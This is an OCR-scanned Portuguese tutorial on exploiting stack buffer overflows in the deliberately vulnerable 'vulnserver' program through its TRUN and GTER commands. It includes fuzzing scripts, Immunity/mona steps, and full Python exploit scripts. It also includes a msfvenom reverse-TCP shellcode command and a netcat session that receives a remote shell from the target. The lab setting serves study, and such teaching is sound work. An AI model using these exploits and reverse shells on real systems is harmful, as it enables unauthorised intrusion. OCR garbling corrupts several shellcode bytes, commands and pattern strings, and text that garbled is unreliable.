c3\xc4\xc5\xcB\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcxd0\xd 1\xd2\xd3\xd4 \xd5\xd6\xd 7\xd8\x
d9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe 1\xe2\xe 3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\
xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" # sobrescreve ESP

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao
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Ap6s reiniciar o vulnserver no Immunity, vamos rodar o script novamente.

&} Immunity Debugger - vulnserver.exe - [CPU - thiyd 00000DC8] - X
€] File View Debug Plugins Immlib Options Window Help Jobs - & x

B TE WX b I MAHH gl 1 emtwh Pk bz 1. s 7 I
< <

BB0BA00BA
#0000104
BACAFIC8
41414141
00401848 uln erv.0B401848
804081848 Inserv.B0481848

@4 @85 @6 07 @8 (BU"-Q-D
BB @C @D OE OF 10 .
13

9:3<=>70
44 45 46 47 48 FIBCDEFGH
4C 4D 4E 4F 58 I1JKLMNOP
54 55 56 57 58 QRSTUUWY
SB 5C 5D S5E SF 68 YZIN1"_
64 65 66 67 68 abcdefgh
6B 6C 6D 6E 6F 7@ ijklmnop
?3 74 75 76 ?7 78
7B 7C 7D 7E 7F 8@
83 84 85 86 87 88 {

94 95 96 97 98 a
9C 9D 9E 9F AB

94 00 98 98 IE 7F CF 76 ¢
CC C? 98 Fs a1 BB BB BBl

‘ =]
Show CPU <Alt+C) Paused
Novamente o programa quebrou e reescreveu o EIP com os 42. Se observarmos a
imagem, veremos que todos os carcteres foram aceitos, com excesséo do byte “\x00”
que n&o enviamos por ser geralmente um badchar, ou seja praticamente ndo temos
limitacdo para gerar o shellcode. Agora precisamos encontrar um bom endereco de
retorno.

ENCONTRANDO UM BOM ENDERECO DE RETORNO

O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode sera
armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para
o endereco do ESP quando enviarmos nosso payload. No entanto, ao obervarmos as
imagens, cada vez que executamos o payload, o ESP mudou de enderecgo, pois ele é
dinAmico e é praticamente impossivel descobrir qual endereco vai estar quando
rodarmos o payload.

Para eliminarmos este problema, existe o registrador “jump” (JMP) que faz saltos na
execugao para outros registradores, se encontrarmos na dll do programa, algum jump
que aponte para o ESP, podemos preencher o endereco do EIP com o endereco deste
jump, fazendo com que, quando a execugado chegue nesse ponto, ele pule para o
endereco do nosso shellcode.

Para encontrar possiveis jumps que apontem para o ESP, podemos usar o proprio

Immunity na sua barra de pesquisa através do plugin “mona.py”, procurando por “!mona
jmp -r esp”.
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BBADFAAD [+]1 Results
625011AF Bx625011af = 3 <CUTE_READ> i ASLR:
625011BB Bx625011bb : 3E_EXE : sf s SLR:
625011C7? Bx625011c? = m H 3 “RE [E : 3
Bx625011d3 = : e B
Bx625011df : Jm H RECUT “AD> b . SLR:

Bx625011eb : gm i 3 2 § o > ASLR:
Bx625011£f7 : jm E_ERECUT P ASLR:
Bx62501203 : j S scii ;E [E 2 c.d11l] AS
Bx62501205 : . S scii {PAGE_EXEC( READ> P >.d11]1 ASL

BBADFAABD
BBADFAAD [+]1 This mona. :00:02.051000

Pmonajmp-resp

[Restart program <(Ctrl+F2)

Encontramos 9 bons enderec¢os para incluir em nosso payload.

INSERINDO O ENDERECO DE RETORNO NO PAYLOAD

Em posse do enderecgo de retorno, vamos adicionar um deles no lugar de nossos B, eu
vou utilizar o 62501203 , porém a notagdo para envio tem que ser em little indian,
portanto os bytes tem ordem inversa, ficando: \x03\x12\x50\x62. Vamos atualizar o
exploit.

xpltrun.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado

payload = b"TRUN /../" # funcao inicial

payload += b"A"*2003 # preenchimento do buffer

payload += b"\x03\x12\x50\x62" # sobrescreve EIP com JMP ESP
payload += b"C" * (5062 - 2003 - 4) # sobrescreve ESP

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Com o0 nosso script atualizado, vamos inserir um breakpoint no Immunity, exatamente
em nosso endereco de retorno, para isso podemos pesquisar o endereco através do
botdo “Go to address Disassembler” e em seguida pressionar “F2”. Com o breakpoint
configurado, vamos reiniciar o vulnserver no Immunity e rodar nosso script.

21



®

https://hastur666.github.io/Windows BoF/

& Immunity Debugger-vu\r%wer‘ae- [CPU - thread 000010CC] — x
QEME View Debug Plugins |mmlib Options Window Help Jobs 5 X
BT X bl b Jo 1 emewhcpkbzr. s 2 E

g >
OBBAFLES ASCII "IRUN /..AARAAAAARAAARAAAAARARAA

43 : 68785504

43 080BRR0A

43 g BABBEA1 B4

43 GUBAFYCE ASCII “CCCCCCCCCCCCCCCCCCCCCECCCCCOeeeey

43 : 41414141

43 08481848 vulnserv.BA401848

3% g BA4P1848 vulnsery.BA4P1848

43 : {IP BOBAFICS
43 ; 32hit B<FFFEFFFE)
43 : P 32hit B(FFFFFFFE)
43 8 32hit BCFFEFPEFE)
43 : : 32hit B(FFFFFEFF>
43 ;3 32hit 23FOBECFFE)
43 ; 32hit BCFFFFEEFE)

43
43 - LastErr ERROR_SUCCESS <0BBB0BGO>
08088246 (NO.MNB,.E.BE.NS.PE.GE.LE>

empty
empty
enpty
empty
empty
empty

6_en
BABAF?CE IEEEEEETE]
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343
43434343

[Paused

. 1 . ENG PM
E P Type here to search O o 8/13/2021 %

Apobs o programa parar em nosso breakpoint, podemos clicar em “F7” para avancgar para
préxima instrucao, e veremos que caimos exatamente em nosso buffer de “C”.

GERANDO O SHELLCODE E ORGANIZANDO O EXPLOIT

Para gerar nosso shellcode, vamos utilizar outro programa da suide MSF, o msfvenom,
onde vamos configurar a conexao reversa com nossa maquina atacante.

$ msfvenom -p windows/shell _reverse tcp lhost=192.168.1.12 Iport=8443 -b "x00' -v
shellcode -f py

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

Found 11 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)

x86/shikata_ga_nai chosen with final size 351

Payload size: 351 bytes

Final size of py file: 1965 bytes

shellcode = b""

shellcode += b"\xb8\x39\x90\x2e\x4f\xda\xcO\xd9\x74\x24\xf4"

shellcode += b"\x5f\x2b\xc9\xb1\x52\x31\x4 7\x12\x83\xc7\x04"

shellcode += b"\x58\x2c\x4f\xfO\xf1\xd9\x6f\xa7\xf2\xcb"
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Onde: -p windows/shell_reverse_tcp € a instrugdo que sera gerada no payload lhost é o
endereco para onde o Windows vai enviar o shell, no caso o IP do Kali Iport é a porta
onde o Windows vai se conectar -b “x00” sdo os badchars para serem evitados -v
shellcode é o nome da variavel a ser criada -f py € o formato que vai ser criado, no caso
python

Vamos adicionar o shellcode em nosso exploit e organizar o envio com uma sequencia
de NOPs antes do shellcode.

O NOP (no operator) é uma instrugdo que nao faz absolutamente nada, mas ha uma
tecnica chamada de “nop slad”, onde inserimos uma sequéncia de NOPs antes do
shellcode para que o programa nao quebre o shell.

xpltrun.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing

offset = 5061

nop = b"\x90"*20

shellcode = b""

shellcode += b"\xda\xd2\xbb\x01\x23\x9e\xef\xd9\x74\x24\xf4"
shellcode += b"\x5f\x31\xc9\xb1\x52\x31\x5f\x17\x83\xc7\x04"

shellcode += b"\xe8\x4b\x2f\x68\x61\x3e\x4f\xdf\x82\x6b"

# payload a ser enviado

payload = b"TRUN /../" # funcao inicial

payload += b"A"*2003 # preenchimento do buffer

payload += b"\x03\x12\x50\x62" # sobrescreve EIP

payload += nop # sobrescreve ESP com os NOPs

payload += shellcode # envia nosso shellcode apos os NOPs

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao
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OBTENDO ACESSO REMOTO

Com o exploit pronto, precisamos deixar um netcat ouvindo em nossa maquina atacante
na mesma porta utilizada para gerar o shellcode, no meu caso a 8443.

.

File Actions Edit View Help

hastur@hastur: ~/Desktop/estudos/binariq

'~/../estudos/bina
8443
listening on [any] 8443

Vamos executar o vulnserver.exe na maquina alvo, mas desta vez rodando
normalmente fora do Immunity.

B C:\Users\suite\Desktop\vulnserver.exe

er version 1.00
Called essen nction dl1l version 1.00

This is lnerable software!
Do not allow access from untrusted systems or networks!

Waiting for client connections...
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Agora vamos rodar o xpltrun.py e verificar em nosso netcat a conexao reversa.

~/Desktop/estudos
8443
listening on [any] 8443
connect to [192.168.1.12] from (UNKNOWN) [192.168.1.30] 49792
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. ALl rights reserved.

C:\Users\suite\Desktop>cd \
cd \

C:\>dir

dir

Volume in drive C has no label.
Volume Serial Number is 6E21-762B

Directory of C:\

08/10/2021 04:59 PM <DIR> nasm
12/07/2019 02:14 AM <DIR> PerflLogs
08/10/2021 ©04:55 PM <DIR> Program Files
08/10/2021 04:58 PM <DIR> Program Files (x86)
08/10/2021 04:58 PM <DIR> Python27
08/10/2021 04:54 PM <DIR> Users
08/10/2021 08:06 PM <DIR> Windows
® File(s) @ bytes
7 Dir(s) 31,942,643,712 bytes free

c:\>[]

E conseguimos nosso acesso remoto. A vulnerabilidade do comando TRUN €& a mais
simples dos buffer overflow, nos préximos comandos, vamos experimentar
complexidades diferentes.
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COMANDO GTER

O comando GTER, assim como os demais, recebe um argumento e da uma resposta.
Neste comando, temos uma situagao parecida com a anterior, porém encontramos uma
problema com o espaco disponivel para nosso shellcode, portanto precisaremos de uma
técnica um pouco mais complexa.

~/Windows_BoF
192.168.1.30 9999
Welcome to Vulnerable Server! Enter HELP for help.
GTER
UNKNOWN COMMAND
GTER teste

GTER ON TRACK
GTER *
GTER ON TRACK

0

Sabendo de seu funcionamento, vamos fazer o fuzzing do comando.

FUZZING

Assim como fizemos com o comando TRUN, vamos utilizar o protocolo Spike. Para
tanto, vamos criar nosso script.

gter.spk

s_string(“GTER );
s_string_variable(“*”);

Onde: s_string: € um parametro imutavel, no nosso caso, sempre ira enviar “TRUN ”
(ndo esqueca do espacgo apos o TRUN); s_string_variable: € um parametro que indica
0 que sefa mudato em cada envio.
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Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexao.

& Copturing from wlan0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODAG® +t BB@ a¢»n<«>»>»PEocaol@

Alip.dst == 192168.1.27

No. Time Source Destination Protocol Length Info
9 3.058807583 192.168.1.12 157.240.12.53 TLSv1.2 106 Application Data
10 3.071211581 157.240.12.53 192.168.1.12 TCP 66 443 . 50788 [ACK] Seq=1 Ack=41 Win=555 Len=0 TSval=3193491333 TSecr=1170525515
11 3.278903809 157.240.12.53 192.168.1.12 TLSv1.2 113 Application Data
12 3.278943871  192.168.1.12 157.240.12.53 TCP 66 50788 —~ 443 [ACK] Seq=41 Ack=48 Win=12598 Len=0 TSval=1170525735 TSecr=3193491477
18 8.186100933 192.168.1.12 52.48.229.36 TLSv1.2 105 Application Data
19 8.500346285 52.48.229.36 192.168.1.12 TCP 66 443 . 34862 [ACK] Seq=1 Ack=40 Win=442 Len=0 TSval=80456859 TSecr=3437221371

» Frame 9: 106 bytes on wire (848 bits), 106 b aptured (848 bits) on interface wlan®, id ©
Ethernet II, Src: IntelCor_6c:87:b :cd st: RealtekS_8b:80:ab (00:e0:4c:8b:80:a

» Internet Protocol Version 4, Src , Ds ;

» Transmission Control Protocol, Src Port: 50788, Dst Port: 443, Seq: 1, Ack: 1, Len: 40

» Transport Layer Security

00 e0 4c 8b 80 ab 5¢c cd S5b 6c 87 bc 08 00 45 00
00 S5c bf ad 40 00 40 06 ©Of 15 cO a8 01 6c 9d fe
Oc 35 c6 64 01 bb of 84 b2 2b 65 67 2b e3 80 18
31 36 6c 28 00 00 01 01 ©8 Ga 45 c4 cd 4b be 58
8d ea 17 ©3 03 00 23 e®@ 7e c9 55 a9 36 64 86 85
31 6f ©d 15 16 eb dd 9f 14 c7 41 fe 62 60 1b 4c
el b3 70 b5 05 6d cf de 88 dd

wilan0: <live capture in progress> Packets: 24 - Displayed: 6 (25.4

Com o programa iniciado na maquina Windows, vamos enviar nosso fuzzing com o
script “generic_sender_tcp”.

~/../estudos/binarios/windows/VulnServer
3 192.168.1.30 9999 gter.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2
Fuzzing Variable
Variablesize= 7
Fuzzing Variable

Podemos ver que na terceira iteragdo, o programa parou de responder,
automaticamente fechou na maquina Windows. Analisando o dump no Wilreshark,
podemos verificar o que foi enviado.
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Wireshark - Follow TCP Stream (tcp.stream eq 23) -wlan0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAA AAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA A AAAAAAA AAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA,

AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,

AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1[I pt, 1 SR pkt, 1 turn.
Entire conversation (5,060 bytes) Show dataas ASCII Stream 23

Find: Find Next

Filter Out This Stream Print Save as... Help

Podemos observar que o buffer estouruou com 5060 bytes, sendo que o nosso buffer
inicia com “/.:/”.
EXPLORACAO

Agora que sabemos que o programa sofreu um crash com 5061 bytes, ja incluindo o
comando “GTER /.:/”, podemos iniciar o esbogo do exploit.

xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 5060

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")
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Precisamos iniciar o vulnerver, mas agora com o Immunity Debbuger e rodar nosso
script.

& Immunity Debugger - vulnserver.exe - [CPU - thread 00001130] - b
€| File View Debug Plugins Immlib Options Window Help Jobs

- & %
DB TE WX b U WA A 1 em twlh c Pk bz x . s 7 [

806 C
88060860
03000164
BBC?FIC8
41414141
00401848 .00401848
00401848 .00401848

41414141

ERROR_SUCCESS <@#0000008>

41414141

ARAAAAAA 9CC 41414141

5 D 41414141
AAAAAAAA 41414141

41414141
ABABABAB *
ABABABAB *
FE B

2] -
155151551515 I
1551515151515 I
080000008 .
155151551515 I
08800060 .
0B00RB60
BB6ABABA
4000006 A
215051

1%

AB6A1118 ASCII 47."TER /.:/AARAAAAAARAAAAARAARAARA
5151515151515 15 R

08780000 .

40000062

@ <

5]
1551515151515 B
0878004d .
40000086
1551515151515 R
1515151515115 I
BBEBRAnAE
/RRRABA
0088PRRA
00B0RA08 .
peaee .
1551515151515 N
800600608 . ...
1515515 5512 5 R

|

Show windows Paused

Novamente conseguimos sobrescrever o EIP com “41414141”, o que é 6timo, pois
conseguimos controlar o endereco da préxima execugao apdés o overflow.

Mas se seguirmos o dump do ESP, podemos ver que temos apenas 20 bytes para inserir
nosso shellcode, o que ¢é praticamente impossivel uma vez que ele ocupa
aproximadamente 350 bytes.

Teremos que usar uma técnica diferente para conseguirmos nossa shell.

Isso também mostra que talvez nem precisemos de todos os 5060 bytes que nosso

fuzzing encontrou, vamos criar nosso proéprio script para encontrar um fuzzing mais
proximo.
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fuzzing.py:

#!/usr/bin/python3

import socket
from time import sleep
import sys

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes

while True:

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.send(payload + b"\r\n")
s.recv(1024)
s.close()
sleep(1)
payload = payload + b"A"*100

except:
print("Buffer estourado em %s bytes"%(str(len(payload))))
sys.exit()

File Actions Edit View Help
hastur@hastur: ~/Desktop/estudos/binarig

. ~-[~/../estudos/bina

—. 5[ fuzzing.py
Buffer estourado em 309 bytes

Temos o offset de 309 bytes para criarmos nosso payload.

Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, vamos utilizar
o msf-pattern_create para criar uma string distinta.

$ msf-pattern_create -1 309
AaOAa1Aa2Aa3Aad4Aa5Aab6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6AD7Ab8ABIACOACTIAC
2Ac3Ac4Ac5Ac6ACc7AC8ACOAdOAdT1Ad2Ad3Ad4Ad5Ad6Ad7AdBAdIAe0Ae1Ae2Ae3Ae4Ae
5Ae6Ae7Ac8AcIATOAT1 AT2AFBATAATSATBATTATBATIAGOAG1Ag2Ag3Ag4Ag5AgBAGT7AGBAGY
AhOAh1Ah2Ah3Ah4Ah5Ah6Ah7Ah8ANIAIOAITAI2AI3AI4AISAIBAI7AIBAIQAJ0A]1Aj2A]3A4A]
5Aj6Aj7Aj8A]9AKOAKT1AK2
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Vamos inseri-lo em nosso script.

xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 5060

payload = b"GTER /.:/" # funcao inicial

#payload += b"A" * offset

payload +=
b"AaOAa1Aa2Aa3Aad4Aas5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4AbSAb6AL7 AbBADIACOACTA
Cc2Ac3Ac4Ac5AC6AC7AcB8ACIAdOAd1Ad2Ad3Ad4Ad5Ad6Ad7Ad8AdIAe0Ae1Ae2Ae3Ae4A
e5AebAe7Ae8AeIAFOAT1AF2AF3Af4ATSATEAF7 AFTBATOAgOAg1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag
9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7 ARBAhIAIOAITAI2AIZAI4AISAIBAI7AIBAIIA0A]1Aj2A3AJ4A
j5AjBAj7AJ8Aj9AKOAKT1AK2"

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")
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Apoés reiniciar o vulnserver no Immunity, vamos rodar o script € monitorar o
comportamento.

& Immunity Debugger - vulnserver.exe - [CPU - thread 0000143C] - s
€| File View Debug Plugins Immlib Options Window Help Jobs N
O% O WX

5413
00401848 .00401848
00401848 wu .00401848

53 32bit 3C!
32bit

ERROR_S

66413066 fOAf
32664131 1Af2
6641 3
66413466
36664135
ABABABAB
ABABABAB
FEE

000800060
00000000
00000060
00000000
00080000
00000000
00000060
00930000
7 ¥ : o : 40000867
90403080 08 00 ol ) C  9A0A0BAA
08403088 30 .. ) 00000000 s
98403090 8 8 e . 0P931118 145. ASCII 47,“TER /.:/RaBAalfa2fa3fadhaSAacn
A403098 07 88 80 .. ) 00000000 .
00403000 @ 98 @0 i ) 3 C 23%{123?”
40 € A 5 % 62
20403680 A0 @ @ 9 @ i ) 09300000
00009000
08 = = $0000R00
00 g .. B A30 0AEP0R0E
00 08 . . ) 09 4 BB960000
90 80 0 .. . A38 48000A6?
0 08 00 g = = > #0A0A0AA
094630 2 a9 09 69 89 .. < 4 @009
084030F8 ¢ 20 @ e s 00080000
00403100 90 Qe @ A0 - . ) 00000000
00403108 00 B0 00 ; - ) 00080000
08403110 00 80 o8 .. g 00000000
08403118 00 80 8 i ) 35333332
2 7 5 3000
80403120 09 00 00 o ) 98200000

|

[19:12:31] Access violation when executing [413965411 - use Shift+F?/F8/F9 to pass exception to program Paused

Temos o enderecgo de EIP de 41396541, vamos consultar no msf-pattern_offset.

$ msf-pattern_offset -1 309 -q 41396541
[*] Exact match at offset 147

Sabemos que o offset para atingir o EIP é de 147, vamos enviar 147 “A” + 4 “B” e o
restande de “C” para validar. Se o offset estiver correto, nosso EIP sera preenchido com
“42424242” e os outros 20 bytes com “43”.
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xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# payload a ser enviado
offset = 147

payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset

payload += b"B"*4

payload += b"C" * (309 - 147 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Apos reiniciar o vulnserver no Immunity, vamos rodar nosso script e monitorar seu
comportamento.

% Immunity Debugger - vulnserver.exe - [CPU - thread 00001248] = >
ﬂFiIe View Debug Plugins |mmlib Options Window Help Jobs & X

LB TE Wx b Il s liaaf lemewhcPkbzr.s ? BT
~ Registers (FPU>
BABFF?28 ASCII 47."TER ~.:/AAAAAAAA
BAFF11DC
ARRRBEAER
ARPRR1 a4
BABFF?C8
41414441
#8401848 vulnserv.B8B0401848
88481848 vulnserv.BB401848

42424242

@ ES 8@2B 32hit O(FFFFFFFF»

1 CS 8823 32hit B(FFFFFFFF>»

@ S5 B@2B 32hit O(FFFFFFFF»

i DS 8828 32hit B{(FFFFFFFF>»

@ FS 8853 32hit 3OFPOB(FFF>
- 1

_ — r %, L [
Address (T 43434343 CCCC
CEFTELED : : WABFFICC 43434343 CCCC
PB463008 i : GEBFF9DR 43434343 CCCC
43434343 CCCC
43434343 CCCC
T @ABFF9DC ABABABAB
5 PEBFFPEQ ABABABAB %2472%
e nin : - @ABFF9E4 FEEEFEEE €1€1
PEEFF?EE  POROBAOE . ...
AAEARARA
BAEARGE
g goteeses sescsns
e ahn : @ABFFYFC 0ARAROA0 .
BABAGEAED .
@09FOR00 .
40800860
@ABFFAGOC 0OBAROA0 .
PEBFFA10  PORGEA0E
0l GOBFFN14  GO9F1118

;_(Jpen new executable <(F3> il 'é'Paused
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Conseguimos atingir com precisdo o EIP com nossos “42”.

Ainda temos o problema de espaco de 20 bytes para tentar executar alguma coisa, mas
antes de atacar este problema, vamos encontrar um bom enderego de retorno.

ENCONTRANDO UM BOM ENDERECO DE RETORNO

O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode sera
armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para
o endereco do ESP. Como sabemos que os enderecos da stack sdo dindmicos, vamos
procurar um JMP ESP conforme fizemos no comando anterior.

@BADFAABD [ +]

625011AF

625011BB Bx625011bb
625811C? Bx625011c?

s@11eb = .

250117 : . i ¢ . E > ASLR:
2501203 : . ssp | ¢ *unc.d11]
2501205 : . »sp | ascii < R EC READD Func .d11]

BBADFAABD
BBADFAAD | [+]1 This mona.py action took A:00:02.051000

|!mona jmp -resp
[Restart program (Ctrl+F2)

Encontramos nossos 9 bons enderecos de retorno.

INSERINDO O ENDERECO DE RETORNO NO PAYLOAD

Em posse do endereco de retorno, vamos adicionar um deles no lugar de nossos B, eu
vou utilizar o 625011d3, porém a notagao para envio tem que ser em little indian,
portanto os bytes tem ordem inversa, ficando: \xd3\x11\x50\x62.

Vamos atualizar o exploit.
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xplgter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.26"
porta = 9999

# payload a ser enviado
offset = 147

payload = b"GTER /.:/" # funcao inicial

payload += b"A" * offset # buffer

payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"C" * (309 - 147 - 4) # segundo buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado!")

Precisamos reiniciar o vulnserver no Immunity, mas antes de rodar nosso script, vamos
setar um breakpoint exatamente no nosso endereco de retorno: 625011d3. (clicando em
“Go to address in Disassembler”, inserindo nosso endereco de retorno e logo em
seguida pressionando F2). Agora podemos rodar nosso script.

ESP
625811D5 EDI
625811D7 FOP EBA
62581108 POP EBX
62581107
62581100 PFOP EBP
62581108
625811DC PUSH EBP
62581100 MOU EBFP.ESP
625811DF ESP
625811E1 EDA
625811E3 POP ECH
625811E4 POP EDH
625811E5
625811F6 FOF ERP
625811E7
625811E8 PUSH EBP
625811E9 MOU EBFP.ESP
625811 FER ESP
625811ED ESI
625811EF POP ECH
625811FA FOF EfAd
625811F1

O programa parou exatamente onde setamos o breakpoint. Ao pressionarmos F7,
vamos cair exatamente onde comegam nossos “C”(43).
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BACFF?Ch 5@ PUSH EnX ~ Registers (FPU2>
BOUND EAX.QWORD PTR DS:[EBX+431 : BACFFY28 ASCII 47,"TER ~.:/ARRAAAAR
INC EBX BBAF11DC
15515151615 0]
arAER1 A4
BACFF?CE
41414144
A8401848 vulnserv.BB4A1848
88481848 vulnserv. 80481848

BACFF?C8

32bit B{FFFFFFFF>
32hit @{FFFFFFFF>

32bit B{FFFFFFFF>
32bit B{FFFFFFFF>
32bit 359980 (FFF>
32bit B{FFFFFFFF>

LastErr ERROR_SUCCESS (AB0BBROA>

INC EBR
STOS DWORD PTR ES:[EDI] AARAA246 (HO.NB.E.BE.NS.PE,.GE.LE>
STOS DWORD PTR ES:[EDI1 empty o

Q?CFF??E A STOS DE?E? ?TF ESE[EDI] enpty o

Nota de interpretagao: Veja que nos registradores o EIP esta em 00cffOc8 e a linha onde
esta instrugdo cai exatamente onde esta nosso primeiro 43 no disassembler. (note que
no EIP temos 00cff9c8 e no disassembler temos 0cff9c7, existe 1 byte de diferenca, mas
se observamos o conteudo, vemos que temos “6243 43", ou seja, se o0 62 corresponde
ao endereco 00cffoc?, logo o proximo byte que é nosso 43 sera 00cffoc8).

Caimos exatamente onde esperavamos, mas agora temos que resolver o problema: o
que fazer com apenas 20 bytes de espacgo?

Simples, ndo podemos fazer nada! Precisamos de um buffer maior, e ndés o temos. O
buffer onde estao os “A”, pois ele possui 147 bytes, o0 que nao é muito, mas nos permite
utilizar algumas técnicas.

Mas vem a questao, se o buffer de “A” ja foi utilizado para preencher o buffer primario
do programa, como podemos reutiliza-lo?

PULANDO ENTRE ENDERECOS DE MEMORIA

Sabemos que ao cair no buffer dos “C”, precisamos pular de volta para o buffer dos “A”.

Na arquitetura x86 temos um jump incondicional que pode pular para qualquer enderecgo
da memoria, mas para utiliza-lo, precisamos saber exatamente para onde pular.

Porém os enderecos dos buffers esdo na stack, o que siginifica que vado mudar toda vez
gue executarmos o programa.

Vamos rodar o script novamente e observar que os enderegcos mudaram. Observe a
imagem abaixo que mostra exatamente onde se inicia nossos “C”.

aab 3 IN ]

AADEIYC4 RCL DWORD PTR DE:LECK]1.CL
AADEF?CH PUSH EAX

AADEF?C?7 BOUMD EAX.QUWORD PTR DS:[EBX+431]
AADEF?CA INC EBH

BAD8F?CE IMC EBX

AADEF?CC INC EBX

BapsF? CD IMC EBX
AADEF?CE INC EBX
AADEF?CF INC EBA
AaDEF? DA INC EBX
